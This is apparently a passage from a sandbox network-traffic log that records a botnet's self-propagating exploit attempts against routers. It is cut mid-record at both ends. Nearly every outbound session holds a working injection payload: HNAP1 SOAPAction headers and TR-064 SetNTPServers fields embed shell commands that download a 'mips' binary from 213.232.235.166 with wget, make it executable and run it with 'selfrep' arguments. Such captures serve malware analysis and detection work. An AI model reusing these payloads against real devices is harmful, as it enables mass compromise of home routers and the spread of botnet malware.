3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:49.632379055 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:51.552381039 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:55.552378893 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1249	192.168.2.13	51968	34.117.243.93	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.692722082 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1250	192.168.2.13	42984	47.149.176.153	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.694642067 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1251	192.168.2.13	40704	50.41.160.227	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.765288115 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1252	192.168.2.13	51776	192.180.170.154	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.778068066 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1253	192.168.2.13	45508	175.205.220.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.827050924 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.196366072 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1254	192.168.2.13	53582	51.191.172.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.827882051 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.116781950 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 06:53:48 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1255	192.168.2.13	59386	181.170.221.173	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.831481934 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1256	192.168.2.13	51992	34.117.243.93	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.845571041 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1257	192.168.2.13	43008	47.149.176.153	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.852268934 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1258	192.168.2.13	51558	24.232.201.98	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.854953051 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1259	192.168.2.13	33166	115.64.16.28	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.863662958 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.188570023 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:53:48 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1260	192.168.2.13	47106	105.106.237.219	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.893069029 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1261	192.168.2.13	56372	46.61.109.54	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.911606073 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.269917011 CEST	159	IN	HTTP/1.1 501 Not Implemented Content-Type: text/html; charset=utf-8 Content-Length: 54 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>501 Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1262	192.168.2.13	40726	50.41.160.227	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.997365952 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1263	192.168.2.13	51802	192.180.170.154	7547

Timestamp	Bytes transferred	Direction	Data
